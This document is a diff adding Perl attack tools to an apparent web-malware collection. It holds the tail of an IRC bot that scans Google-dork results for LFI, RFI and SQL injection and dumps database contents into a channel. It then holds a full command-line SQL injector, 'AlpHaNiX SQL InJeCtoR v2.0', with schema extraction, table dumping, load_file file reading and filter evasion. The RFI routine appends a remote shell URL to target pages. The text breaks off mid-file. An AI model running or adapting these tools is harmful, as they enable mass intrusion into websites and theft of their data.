"PRIVMSG $channel :4$asker 12[!] Possible LFI Vulnerable Website ->6 $fl\r\n";} + } + } + } + print $connection "PRIVMSG $channel :4$asker 12[!] LFI Scan Finished !\r\n"; + } +} +############################################################################################ +sub rfiscan +{ + my $asker = $1; + my $dork = $3; + print $connection "PRIVMSG $channel :4$asker 12[+] RFI Vulnerable Scan Started ....\r\n"; + print $connection "PRIVMSG $channel :4$asker 12[+] Dork : $dork ....\r\n"; + my $google = "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=" ; + #---- + my $request = HTTP::Request->new(GET=>"$google"."$i"); + my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2'); + my $response = $useragent->request($request) ; + my $con = $response->content; + if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i) + { print $connection "PRIVMSG $channel :4$asker 12[!] Banned From Google Search !!\r\n"; } + else + { + for ($i=0;$i<200;$i=$i+10) + { + my $start='class=r><a href=\"'; + my $end= '" class=l>'; + while ( $con =~ m/$start(.*?)$end/g ) + { + print $connection "PRIVMSG $channel :4$asker 12[!] Trying To Fuzz6 $1\r\n"; + my $fl = $1; + my $link = $fl.$phpshell.'??'; + my $ua = LWP::UserAgent->new(); + my $req = $ua->get($link); + my $result = $req->content; + if ($result=~ m/uid=/i) + {print $connection "PRIVMSG $channel :4$asker 12[!] Possible RFI Vulnerable Website ->6 $fl\r\n";} + } + } + print $connection "PRIVMSG $channel :4$asker 12[!] RFI Scan Finished !\r\n"; + } +} +############################################################################################ +sub colcount +{ + my $asker = $1; + print $connection "PRIVMSG $channel :4$asker 12[+] Column Counting Started , Please Wait ....\r\n"; + my $site = $3 ; + my $null = "09+and+1=" ; + my $code = "0+union+select+" ; + my $add = "+" ; + my $com = "--" ; + my $injection = $site.$null.$code."0",$com ; + my $request = HTTP::Request->new(GET=>$injection); + my $useragent = LWP::UserAgent->new(); + my $response = $useragent->request($request); + my $result = $response->content; + if( $result =~ /You have an error in your SQL syntax/ || $result=~/Query failed/ || $result=~/SQL query failed/ || $result=~ /mysql_fetch_/ || $result=~ /mysql_fetch_array/ || $result =~ /mysql_num_rows/ || $result =~ /The used SELECT statements have a different number of columns/) + { + print $connection "PRIVMSG $channel :4$asker 12[+] This Website Is Vulnerable\n" ; + print $connection "PRIVMSG $channel :4$asker 12[+] Working On It\n"; + } + else + { + print $connection "PRIVMSG $channel :4$asker 10[!] This WebSite Is Not SQL Vulnerable !\n\n"; + } + for ($i = 0 ; $i < 50 ; $i ++) + { + $col.=','.$i; + $specialword.=','."0x617a38387069783030713938"; + if ($i == 0) + { + $specialword = '' ; + $col = '' ; + } + $sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com ; + my $ua = LWP::UserAgent->new(); + my $res = $ua->get($sql); + $response=$res->content; + if($response =~ /az88pix00q98/) + { + $i ++; + print $connection "PRIVMSG $channel :4$asker 12[+] This Injection Have6 $i 12Columns\n" ; + } + } +} +############################################################################################ +sub mysqldet +{ + my $asker = $1; + my $site = $3 ; + my $selection = "concat(0x617a38387069783030713938,version(),0x617a38387069783030713938,database(),0x617a38387069783030713938,user(),0x617a38387069783030713938,\@\@datadir,0x617a38387069783030713938)"; + print $connection "PRIVMSG $channel :4$asker 12[+] Info Getting, Started Please Wait ....\r\n"; + if ($site =~ /(.*)NullArea(.*)/i) + { + $newlink = $1.$selection.$2.'--'; + my $ua = LWP::UserAgent->new(); + my $request = $ua->get($newlink); + my $content = $request->content; + if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/) + { + print $connection "PRIVMSG $channel :4$asker 12[+] Database Version :6 $1\r\n"; + print $connection "PRIVMSG $channel :4$asker 12[+] Database Name :6 $2\r\n"; + print $connection "PRIVMSG $channel :4$asker 12[+] DB UserName :6 $3\r\n"; + print $connection "PRIVMSG $channel :4$asker 12[+] Databse Dir :6 $4\r\n"; + } + else + { + print $connection "PRIVMSG $channel :4$asker 12[!] Failed\r\n"; + } + } + else + { + print $connection "PRIVMSG $channel :4$asker 12[!] Please Enter the target this way :6 http://target.net/page.php?id=0+union+select+1,2,nullarea,3\r\n"; + } +} +############################################################################################ +sub schema +{ + my $asker = $1; + my $site = $3 ; + my $selection = "concat(0x617a38387069783030713938,table_name,0x617a38387069783030713938,column_name,0x617a38387069783030713938,table_schema,0x617a38387069783030713938)"; + if ($site =~ /(.*)NullArea(.*)/i) + { + print $connection "PRIVMSG $channel :4$asker 12[+] 6Table 12:|: 6Column 12:|: 6Database\r\n"; + for ($i ; $i<=1500 ; $i++ ) + { + $newstring = $1.$selection.$2.'+'.'from'.'+'.'information_schema.columns'.'+'.'LIMIT'.'+'.$i.','.'1'.'--'; + my $ua = LWP::UserAgent->new(); + my $request = $ua->get($newstring); + my $content = $request->content; + if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/) + { + print $connection "PRIVMSG $channel :4$asker 12[!] 6$1 12:|: 6$2 12:|: 6$3 \r\n"; + } + } + } + else + { + print $connection "PRIVMSG $channel :4$asker 12[!] Please Enter the target this way :6 http://target.net/page.php?id=0+union+select+1,2,nullarea,3\r\n"; + } +} +############################################################################################ +sub mysqldumper +{ + my $asker = $1; + my $site = $3 ; + my $table = $5 ; + my $selection = "concat(0x617a38387069783030713938,$4,0x617a38387069783030713938)"; + if ($site =~ /(.*)NullArea(.*)/i) + { + print $connection "PRIVMSG $channel :4$asker 12[+] 6 DATA\r\n"; + for ($i ; $i<=1500 ; $i++ ) + { + $newstring = $1.$selection.$2.'+'.'from'.'+'.$table.'+'.'LIMIT'.'+'.$i.','.'1'.'--'; + my $ua = LWP::UserAgent->new(); + my $request = $ua->get($newstring); + my $content = $request->content; + if ($content =~ /az88pix00q98(.*)az88pix00q98/) + { + print $connection "PRIVMSG $channel :4$asker 12[!] 6 $1\r\n"; + } + } + } + else + { + print $connection "PRIVMSG $channel :4$asker 12[!] Please Enter the target this way :6 http://target.net/page.php?id=0+union+select+1,2,nullarea,3-column_name-table_name\r\n"; + } +} +############################################################################################ +sub mssqldet +{ + my $asker = $1; + print $connection "PRIVMSG $channel :4$asker 12[+] Getting Infos Started , Please Wait ....\r\n"; + my $target = $3 ; + print "\n[+] Working On $target" ; + my $version = 'convert(int,(select+@@version));--' ; + my $system_user = 'convert(int,(select+system_user));--'; + my $db_name = 'convert(int,(select+db_name()));--'; + my $servername = 'convert(int,(select+@@servername));--' ; + my $hostname = 'convert(int,(select+Host_Name()));--'; + my $site = $target ; + my $injection = $site.$version ; + my $request = HTTP::Request->new(GET=>$injection); + my $useragent = LWP::UserAgent->new(); + my $response = $useragent->request($request)->as_string ; + if ($response =~ /.*?value\s'/) + { + print $connection "PRIVMSG $channel :4$asker 12[+] This Website Is SQL Vulnerable ..\r\n"; + print $connection "PRIVMSG $channel :4$asker 12[+] Working On It ..\r\n"; + + $ver = $1 if ($response =~ /.*?value\s'(.*?)'\sto.*/sm) ; + + print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL Version Is : 6$ver\r\n"; + + my $injection = $site.$system_user ; + my $request = HTTP::Request->new(GET=>$injection); + my $useragent = LWP::UserAgent->new(); + $useragent->timeout(10); + my $response = $useragent->request($request)->as_string ; + $system_user = $1 if ($response =~ /.*value\s'(.*)'\sto.*/); + print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL System_User Is : 6$system_user\r\n"; + + my $injection = $site.$db_name ; + my $request = HTTP::Request->new(GET=>$injection); + my $useragent = LWP::UserAgent->new(); + $useragent->timeout(10); + my $response = $useragent->request($request)->as_string ; + $db_name = $1 if ($response =~ /.*value\s'(.*)'\sto.*/); + print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL Database Name Is : 6$db_name\r\n"; + + my $injection = $site.$servername ; + my $request = HTTP::Request->new(GET=>$injection); + my $useragent = LWP::UserAgent->new(); + $useragent->timeout(10); + my $response = $useragent->request($request)->as_string ; + $servername = $1 if ($response =~ /.*value\s'(.*)'\sto.*/); + print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL Server Name Is : 6$servername\r\n"; + + my $injection = $site.$hostname; + my $request = HTTP::Request->new(GET=>$injection); + my $useragent = LWP::UserAgent->new(); + $useragent->timeout(10); + my $response = $useragent->request($request)->as_string ; + $hostnames = $1 if ($response =~ /.*value\s'(.*)'\sto.*/); + print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL HostName Is : 6$hostnames\r\n"; + } + else + { + print $connection "PRIVMSG $channel :4$asker 10[!] This Website Is Not SQL Vulnerable !\r\n"; + } +} +############################################################################################ diff --git a/web-malware-collection-master/Bots/Perl/AlpHaNiX.SQLi.v2.0.txt b/web-malware-collection-master/Bots/Perl/AlpHaNiX.SQLi.v2.0.txt new file mode 100755 index 0000000..f82a698 --- /dev/null +++ b/web-malware-collection-master/Bots/Perl/AlpHaNiX.SQLi.v2.0.txt @@ -0,0 +1,1085 @@ +#!/usr/bin/perl + + +use LWP::UserAgent; +use HTTP::Request; + +sub help +{ + system('cls'); + system('AlpHaNiX SQL InJeCtoR v2.0'); + print "\n\n-----------------------------------\n"; + print "[!] Usage : perl $0 <option>\n"; + print "\n\n--/// MySQL\n"; + print " --mysqlcol MySQL column length calculator MySQL v4/5\n"; + print " --mysqldetails MySQL target website db global infos MySQL v4/5\n"; + print " --mysqlschema MySQL Full Schema Extractor MySQL v5\n"; + print " --mysqldump MySQL Data Dump MySQL v4/5\n"; + print " --mysqlfile MySQL load_file fuzzer MySQL v4/5\n"; + print " --mysqltblfuzz MySQL Table_name Fuzzer MySQL v4\n"; + print " --mysqlcolfuzz MySQL Column_name Fuzzer MySQL v4\n"; + print "\n\n--/// MsSQL\n"; + print " --mssqldetails MsSQL DB global info\n"; + print " --mssqltable MsSQL Tables Extractor\n"; + print " --mssqlcolumns MsSQL Columns Extractor\n"; + print " --mssqldump MsSQL Columns Extractor\n"; + print "\n\n--/// Vulunerability Scanner\n"; + print " --dork URL Extractor , SQL Vulnerability's Scanner & checker\n"; + print "\n\n--/// Options\n"; + print " --proxy define a proxy to use\n"; + print " --listfile list of columns or tables to use in fuzz or load_file files list\n"; + print " --output save injection or scan result in an outside file\n"; + print " --table table to use in dumping data or in tbles extract\n"; + print " --column column to use in dumping data or in column extract\n"; + print " --evasion %20 /* +\n"; + print " --help print this help text :P\n"; + exit(); +} + +sub variables +{ + my $i=0; + foreach (@ARGV) + { + if ($ARGV[$i] eq "--dork"){$search_dork = $ARGV[$i+1]} + if ($ARGV[$i] eq "--mysqlcol"){$mysql_count_target = $ARGV[$i+1]} + if ($ARGV[$i] eq "--mysqldetails"){$mysql_details_target = $ARGV[$i+1]} + if ($ARGV[$i] eq "--mysqlschema"){$mysql_schema_target = $ARGV[$i+1]} + if ($ARGV[$i] eq "--mysqldump"){$mysql_dump_target = $ARGV[$i+1]} + if ($ARGV[$i] eq "--mysqltblfuzz"){$mysql_fuzz_table = $ARGV[$i+1]} + if ($ARGV[$i] eq "--mysqlcolfuzz"){$mysql_fuzz_column = $ARGV[$i+1]} + if ($ARGV[$i] eq "--mysqlfile"){$mysql_load_file = $ARGV[$i+1]} + if ($ARGV[$i] eq "--mssqldetails"){$mssql_details_target = $ARGV[$i+1]} + if ($ARGV[$i] eq "--mssqltable"){$mssql_table_target = $ARGV[$i+1]} + if ($ARGV[$i] eq "--mssqlcolumn"){$mssql_column_target = $ARGV[$i+1]} + if ($ARGV[$i] eq "--mssqldump"){$mssql_dump_target = $ARGV[$i+1]} + if ($ARGV[$i] eq "--column"){$sql_dump_column = $ARGV[$i+1]} + if ($ARGV[$i] eq "--table"){$sql_dump_table = $ARGV[$i+1]} + if ($ARGV[$i] eq "--evasion"){$evasion = $ARGV[$i+1]} + if ($ARGV[$i] eq "--output"){$vulnfile = $ARGV[$i+1]} + if ($ARGV[$i] eq "--proxy"){$proxy = $ARGV[$i+1]} + if ($ARGV[$i] eq "--listfile"){$word_list = $ARGV[$i+1]} + if ($ARGV[$i] eq "--help"){&help} + $i++; + } +} + + + +sub main +{ + system('cls'); + system('title SQL InJeCtoR v2.0'); + print " \n\n SQL InJeCtoR v2.0"; + print " \n Coded By AlpHaNiX \n\n"; + if (@ARGV<1){print "[!] For Help : perl $0 --help\n\n\n" ;} +} + +sub vulnscanner +{ + checkgoogle(); + googlescan($search_dork); + askscan($search_dork); +} + +sub checkgoogle +{ + my $request = HTTP::Request->new(GET => "http://www.google.com/search?hl=en&q=$search_dork&btnG=Search&start=10"); + my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3'); + $useragent->proxy("http", "http://$proxy/") if defined($proxy); + my $response = $useragent->request($request) ; + my $result = $response->content; + if ($result =~ m/if you suspect that your computer or network has been infected/i){print "[!] You Have Been Banned From Google Search :( \n";exit()} +} + +sub googlescan +{ + my $dork = $_[0]; + for ($i=0;$i<200;$i=$i+10) + { + my $request = HTTP::Request->new(GET => "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=$i"); + my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3'); + $useragent->proxy("http", "http://$proxy/") if defined($proxy); + my $response = $useragent->request($request) ; + my $result = $response->content; + while ($result =~ m/class=r><a href=\"(.*?)\" class=l>/g ) + { + print "[!] Trying to fuzz $1\n"; + checkvuln($1) + } + } +} + +sub askscan +{ + my $dork = $_[0]; + for ($i=0;$i<20;$i++) + { + my $request = HTTP::Request->new(GET => "http://www.ask.com/web?q=page.php?id=&qsrc=0&o=0&l=dir&q=$dork&page=$i&jss="); + my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3'); + $useragent->proxy("http", "http://$proxy/") if defined($proxy); + my $response = $useragent->request($request) ; + my $result = $response->content; + while ($result =~ m/<span id=\"r(.*)_u\" class=\"(.*)\">(.*)<\/span>/gi) + { + my $askurl ="http://".$3 ; + print "[!] Trying to fuzz $askurl\n"; + checkvuln($askurl); + } + } +} + +sub checkvuln +{ + my $scan_url = $_[0]; + my $link = $scan_url.'0+order+by+9999999--'; + my $ua = LWP::UserAgent->new(); + $ua->proxy("http", "http://$proxy/") if defined($proxy); + my $req = $ua->get($link); + my $fuzz = $req->content; + if ($fuzz =~ m/You have an error in your SQL syntax/i || $fuzz =~ m/Query failed/i || $fuzz =~ m/SQL query failed/i || $fuzz =~ m/mysql_fetch_/i || $fuzz =~ m/mysql_fetch_array/i || $fuzz =~ m/mysql_num_rows/i || $fuzz =~ m/The used SELECT statements have a different number of columns/i ) + { + print "[!] MySQL Vulnerable -> $scan_url\n"; + if (defined($vulnfile)) + { + push (@mysqlvuln,"$scan_url\n"); + } + } + elsif ($fuzz =~ m/ODBC SQL Server Driver/i) + { + print "[!] MsSQL Vulnerable -> $scan_url\n"; + if (defined($vulnfile)) + { + push (@mssqlvuln,"$scan_url\n"); + } + } + elsif ($fuzz =~ m/Microsoft JET Database/i || $fuzz =~ m/ODBC Microsoft Access Driver/i ) + { + print "[!] MS Access Vulnerable -> $scan_url\n"; + if (defined($vulnfile)) + { + push (@accessvuln,"$scan_url\n"); + } + } +} + +sub mysqlcount +{ + my $site = $_[0]; + my $ev = $_[1]; + my $null = "09'+and+1=" ; + my $code = "0+union+select+" ; + if ($ev eq '/*') + {$add = "/**/" ; $com = "/*";} + elsif ($ev eq '%20') + {$add = "%20" ; $com = "%00" ;} + else + {$add = '+' ; $com ='--';} + my $injection = $site.$null.$code."0",$com ; + my $useragent = LWP::UserAgent->new(); + $useragent->proxy("http", "http://$proxy/") if defined($proxy); + my $response = $useragent->get($injection); + my $result = $response->content; + if( $result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i || $result =~ m/supplied argument is not a valid MySQL/i || $result =~ m/SQL query failed/i || $result =~ m/mysql_fetch_/i || $result =~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i ) + { + print "\n[!] This Website Is Vulnerable\n" ; + print "[+] Working On It\n"; + } + else + { + print "\n[!] This WebSite Is Not SQL Vulnerable !\n"; + exit(); + } + for ($i = 0 ; $i < 100 ; $i ++) + { + $col.=','.$i; + $specialword.=','."0x617a38387069783030713938"; + if ($i == 0) + { + $specialword = '' ; + $col = '' ; + } + $sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com ; + $ua = LWP::UserAgent->new(); + $ua->proxy("http", "http://$proxy/") if defined($proxy); + $rq = $ua->get($sql); + $response = $rq->content; + if($response =~ /az88pix00q98/) + { + $i ++; + print "\n[!] MySQL Column Count Finished\n" ; + print "[!] This WebSite Have $i Columns\n" ; + $sql=$site.$null.$code."0".$col.$com ; + print "=> ".$sql ."\n\n"; + if (defined($vulnfile)) + { + open(vuln_file,">>$vulnfile") ; + print vuln_file "Target Host : $site\n"; + print vuln_file "Evasion : $ev\n"; + print vuln_file "Col length : $i\n"; + print vuln_file "Injection : $sql\n"; + close(vuln_file); + print "[+] Result Saved to $vulnfile\n"; + } + exit () ; + } + } +} + +sub mysqldetails +{ + my $site = $_[0]; + my $ev = $_[1]; + if ($ev eq '/*') + {$add = "/**/" ; $com = "/*";} + elsif ($ev eq '%20') + {$add = "%20" ; $com = "%00" ;} + else + {$add = '+' ; $com ='--';} + my $selection = "concat(0x617a38387069783030713938,version(),0x617a38387069783030713938,database(),0x617a38387069783030713938,user(),0x617a38387069783030713938)"; + print "\n[+] Info Getting, Started Please Wait ....\n\n"; + if ($site =~ /(.*)NullArea(.*)/i) + { + my $newlink = $1.$selection.$2.$com; + my $ua = LWP::UserAgent->new(); + $ua->proxy("http", "http://$proxy/") if defined($proxy); + my $request = $ua->get($newlink); + my $content = $request->content; + if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/) + { + print "[!] Database Version : $1\n"; + print "[!] Database Name : $2\n"; + print "[!] DB UserName : $3\n"; + if (defined($vulnfile)) + { + open(vuln_file,">>$vulnfile") ; + print vuln_file "[!] Target : $site\n"; + print vuln_file "[!] evasion : $ev\n"; + print vuln_file "[!] Database Version : $1\n"; + print vuln_file "[!] Database Name : $2\n"; + print vuln_file "[!] DB UserName : $3\n"; + close(vuln_file); + print "\n[+] Result Saved to $vulnfile\n"; + } + exit () ; + } + else + { + print "[!] Failed\n"; + exit () ; + } + } + else + { + print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n"; + exit () ; + } +} + +sub mysqlschema +{ + my $site = $_[0]; + my $ev = $_[1]; + my @schema=(); + if ($ev eq '/*') + {$add = "/**/" ; $com = "/*";} + elsif ($ev eq '%20') + {$add = "%20" ; $com = "%00" ;} + else + {$add = '+' ; $com ='--';} + my $selection = "concat(0x617a38387069783030713938,column_name,0x617a38387069783030713938,table_name,0x617a38387069783030713938,table_schema,0x617a38387069783030713938)"; + print "\n[+] Schema Extracting, Started Please Wait ....\n\n"; + if ($site =~ /(.*)NullArea(.*)/i) + { + print "[+] Column :|: Table :|: Database\n"; + for ($i=0; $i<=1000 ; $i++ ) + { + $newstring = $1.$selection.$2.$add.'from'.$add.'information_schema.columns'.$add.'LIMIT'.$add.$i.','.'1'.$com; + my $ua = LWP::UserAgent->new(); + $ua->proxy("http", "http://$proxy/") if defined($proxy); + my $request = $ua->get($newstring); + my $content = $request->content; + if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/) + { + print "[!] $1 :|: $2 :|: $3 \n"; + push (@schema,"$1 :|: $2 :|: $3 \n"); + } + } + if (defined($vulnfile)) + { + open(vuln_file,">>$vulnfile") ; + print vuln_file "[!] Target : $site\n"; + print vuln_file "[!] evasion : $ev\n"; + print vuln_file "[!] Schema :: ---- \n\n\n"; + $i=0; + foreach(@schema) + { + print vuln_file $schema[$i]."\n"; + $i++; + } + print "\n[+] Result Saved to $vulnfile\n"; + } + } + else + { + print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n"; + exit () ; + } +} + +sub mysqldump +{ + my $site = $_[0]; + my $colm = $_[1]; + my $tble = $_[2]; + my $ev = $_[3]; + print "[+] Table name $tble\n"; + print "[+] Column name $colm\n"; + my @dumper=(); + if ($ev eq '/*') + {$add = "/**/" ; $com = "/*";} + elsif ($ev eq '%20') + {$add = "%20" ; $com = "%00" ;} + else + {$add = '+' ; $com ='--';} + my $selection = "concat(0x617a38387069783030713938,$colm,0x617a38387069783030713938)"; + print "\n[+] Data Dump Started Please Wait ....\n\n"; + if ($site =~ /(.*)NullArea(.*)/i) + { + $i=0; + print "[+] Dumped Data : //// \n"; + do + { + $newstring = $1.$selection.$2.$add.'from'.$add.$tble.$add.'LIMIT'.$add.$i.','.'1'.$com; + my $ua = LWP::UserAgent->new(); + $ua->proxy("http", "http://$proxy/") if defined($proxy); + my $request = $ua->get($newstring); + my $content = $request->content; + if ($content =~ /az88pix00q98(.*)az88pix00q98/) + { + print "[!] $1 \n"; + push(@dumper,"$1\n"); + } + $i++; + } + while ($i<1500); + if (defined($vulnfile)) + { + open(vuln_file,">>$vulnfile") ; + print vuln_file "[!] Target : $site\n"; + print vuln_file "[!] evasion : $ev\n"; + print vuln_file "[!] Dumped Column : $colm\n"; + print vuln_file "[!] Dumped Table : $tble\n"; + print vuln_file "[!] Data :: ---- \n\n\n"; + $i=0; + foreach(@dumper) + { + print vuln_file $dumper[$i]."\n"; + $i++; + } + close(vuln_file); + print "\n[+] Result Saved to $vulnfile\n"; + } + } + else + { + print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n"; + exit () ; + } +} + +sub mysqlfuzztable +{ + my $site = $_[0]; + my $ev = $_[1]; + my $filelst = $_[2]; + print "[+] File List $filelst\n"; + my @tbles_possible=(); + if ($ev eq '/*') + {$add = "/**/" ; $com = "/*";} + elsif ($ev eq '%20') + {$add = "%20" ; $com = "%00" ;} + else + {$add = '+' ; $com ='--';} + open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n"; + @word_list_search = <word_list_file> ; + print "\n[+] Fuzzing Table, Started Please Wait ....\n\n"; + if ($site =~ /(.*)NullArea(.*)/i) + { + print "[+] Fuzz Result : //// \n\n"; + $i=0; + foreach (@word_list_search) + { + print "[!] Trying To Fuzz Table_name with $word_list_search[$i]"; + $newstring = $1."0x617a38387069783030713938".$2.$add.'from'.$add.$word_list_search[$i].$com; + my $ua = LWP::UserAgent->new(); + $ua->proxy("http", "http://$proxy/") if defined($proxy); + my $request = $ua->get($newstring); + my $content = $request->content; + if ($content =~ /az88pix00q98/) + { + print "\n[!] Found Table ! $word_list_search[$i] \n"; + push(@tbles_possible,"$word_list_search[$i]\n"); + } + $i++; + } + if (defined($vulnfile)) + { + open(vuln_file,">>$vulnfile") ; + print vuln_file "[!] Target : $site\n"; + print vuln_file "[!] evasion : $ev\n"; + print vuln_file "[!] Wordlist : $filelst\n"; + print vuln_file "[!] Tbles Found :: ---- \n\n\n"; + $i=0; + foreach(@tbles_possible) + { + print vuln_file $tbles_possible[$i]."\n"; + $i++; + } + close(vuln_file); + print "\n[+] Result Saved to $vulnfile\n"; + } + } + else + { + print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n"; + exit () ; + } +} + +sub mysqlfuzzcolumn +{ + my $site = $_[0]; + my $ev = $_[1]; + my $filelst = $_[2]; + my $tablext = $_[3]; + print "[+] File List $filelst\n"; + print "[+] Table To Fuzz Columns $tablext\n"; + my @cols_possible=(); + if ($ev eq '/*') + {$add = "/**/" ; $com = "/*";} + elsif ($ev eq '%20') + {$add = "%20" ; $com = "%00" ;} + else + {$add = '+' ; $com ='--';} + open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n"; + @word_list_search = <word_list_file> ; + print "\n[+] Fuzzing Column, Started Please Wait ....\n\n"; + if ($site =~ /(.*)NullArea(.*)/i) + { + print "[+] Fuzz Result : //// \n\n"; + $i=0; + foreach (@word_list_search) + { + print "[!] Trying To Fuzz Column_name with $word_list_search[$i]"; + $newstring = $1."concat(0x617a38387069783030713938,$word_list_search[$i])".$2.$add.'from'.$add.$tablext.$com; + my $ua = LWP::UserAgent->new(); + $ua->proxy("http", "http://$proxy/") if defined($proxy); + my $request = $ua->get($newstring); + my $content = $request->content; + if ($content =~ /az88pix00q98/) + { + print "\n[!] File Column ! $word_list_search[$i] \n"; + push(@cols_possible,"$word_list_search[$i]\n"); + } + $i++; + } + if (defined($vulnfile)) + { + open(vuln_file,">>$vulnfile") ; + print vuln_file "[!] Target : $site\n"; + print vuln_file "[!] evasion : $ev\n"; + print vuln_file "[!] Wordlist : $filelst\n"; + print vuln_file "[!] Cols Found :: ---- \n\n\n"; + $i=0; + foreach(@cols_possible) + { + print vuln_file $cols_possible[$i]."\n"; + $i++; + } + close(vuln_file); + print "\n[+] Result Saved to $vulnfile\n"; + } + } + else + { + print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n"; + exit () ; + } +} + +sub mysqlfile +{ + my $site = $_[0]; + my $ev = $_[1]; + my $filelst = $_[2]; + print "[+] File List $filelst\n"; + my @cols_possible=(); + if ($ev eq '/*') + {$add = "/**/" ; $com = "/*";} + elsif ($ev eq '%20') + {$add = "%20" ; $com = "%00" ;} + else + {$add = '+' ; $com ='--';} + open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n"; + @word_list_search = <word_list_file> ; + print "\n[+] File Fuzz, Started Please Wait ....\n\n"; + if ($site =~ /(.*)NullArea(.*)/i) + { + print "[+] Fuzz Result : //// \n\n"; + $i=0; + foreach (@word_list_search) + { + $newstring = $1."concat(0x617a38387069783030713938,load_file('$word_list_search[$i]'))".$2.$com; + my $ua = LWP::UserAgent->new(); + $ua->proxy("http", "http://$proxy/") if defined($proxy); + my $request = $ua->get($newstring); + my $content = $request->content; + print "[!] Trying To Fuzz Load_File with $word_list_search[$i]"; + if ($content =~ m/az88pix00q/i) + { + print "\n[!] Found File ! $word_list_search[$i] \n"; + push(@cols_possible,"$word_list_search[$i]\n"); + } + $i++; + } + if (defined($vulnfile)) + { + open(vuln_file,">>$vulnfile") ; + print vuln_file "[!] Target : $site\n"; + print vuln_file "[!] evasion : $ev\n"; + print vuln_file "[!] Wordlist : $filelst\n"; + print vuln_file "[!] Files Found :: ---- \n\n\n"; + $i=0; + foreach(@cols_possible) + { + print vuln_file $cols_possible[$i]."\n"; + $i++; + } + close(vuln_file); + print "\n[+] Result Saved to $vulnfile\n"; + } + } + else + { + print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n"; + exit () ; + } +} + +sub mssqldetails +{ + my $site = $_[0]; + my $ev = $_[1]; + if ($ev eq '/*') + {$add = "/**/" ; $com = "/*";} + elsif ($ev eq '%20') + {$add = "%20" ; $com = "%00" ;} + else + {$add = '+' ; $com ='--';} + print "\n[+] Getting Infos, Started Please Wait ....\n\n"; + $version = "convert(int,(select".$add."\@\@version));--" ; + $system_user = 'convert(int,(select'.$add.'system_user));--'; + $db_name = 'convert(int,(select'.$add.'db_name()));--'; + $servername = 'convert(int,(select'.$add.'@@servername));--' ; + my $injection = $site.$version ; + my $request = HTTP::Request->new(GET=>$injection); + my $useragent = LWP::UserAgent->new(); + $useragent->timeout(10); + my $response = $useragent->request($request)->as_string ; + if ($response =~ /.*?value\s'/) + { + print "[+] This Website Is SQL Vulnerable ..\n"; + print "[+] Working On It ..\n"; + $ver = $1 if ($response =~ /.*?value\s'(.*?)'\sto.*/sm) ; + print "\n[!] MsSQL Version Is :"; + print "\n\n => $ver" ; + my $injection = $site.$system_user ; + my $request = HTTP::Request->new(GET=>$injection); + my $useragent = LWP::UserAgent->new(); + $useragent->timeout(10); + my $response = $useragent->request($request)->as_string ; + $system_user = $1 if ($response =~ /.*value\s'(.*)'\sto.*/); + print "\n[!] MsSQL System_User Is :"; + print " $system_user " ; + my $injection = $site.$db_name ; + my $request = HTTP::Request->new(GET=>$injection); + my $useragent = LWP::UserAgent->new(); + $useragent->timeout(10); + my $response = $useragent->request($request)->as_string ; + $db_name = $1 if ($response =~ /.*value\s'(.*)'\sto.*/); + print "\n[!] MsSQL Database Name Is :"; + print " $db_name " ; + my $injection = $site.$servername ; + my $request = HTTP::Request->new(GET=>$injection); + my $useragent = LWP::UserAgent->new(); + $useragent->timeout(10); + my $response = $useragent->request($request)->as_string ; + $servername = $1 if ($response =~ /.*value\s'(.*)'\sto.*/); + print "\n[!] MsSQL Server Name Is :"; + print " $servername " ; + exit (); + } + else + { + system ("cls"); + print "\n[!] This Website Is Not SQL Vulnerable !"; + exit(); + } +} + +sub mssqltable +{ + my $site = $_[0]; + my $ev = $_[1]; + if ($ev eq '/*') + {$add = "/**/" ; $com = "/*";} + elsif ($ev eq '%20') + {$add = "%20" ; $com = "%00" ;} + else + {$add = '+' ; $com ='--';} + print "\n[+] Table Extracting, Started Please Wait ....\n\n"; + $table = "convert(int,(select".$add."top".$add."1".$add."table_name".$add."from".$add."information_schema.tables));--"; + $data = "'Ws65qd798sqd9878'"; + print "[!] Tables : //// \n\n"; + for ($i;$i<1500;$i++) + { + my $injection = $site.$table ; + my $useragent = LWP::UserAgent->new(); + $ua->proxy("http", "http://$proxy/") if defined($proxy); + my $request = $useragent->get($injection); + my $response = $request->content; + if ($response =~ /.*?value\s'(.*?)'\sto.*/sm) + { + print "[+] ".$1."\n"; + push (@exttbles,$1); + $start = "("; + $data .= ",'$1'"; + $end = ")"; + $total = $start.$data.$end; + $table = "convert(int,(select".$add."top".$add."1".$add."table_name".$add."from".$add."information_schema.tables".$add."where".$add."table_name".$add."not".$add."in".$add."$total));--"; + } + } + if (defined($vulnfile)) + { + 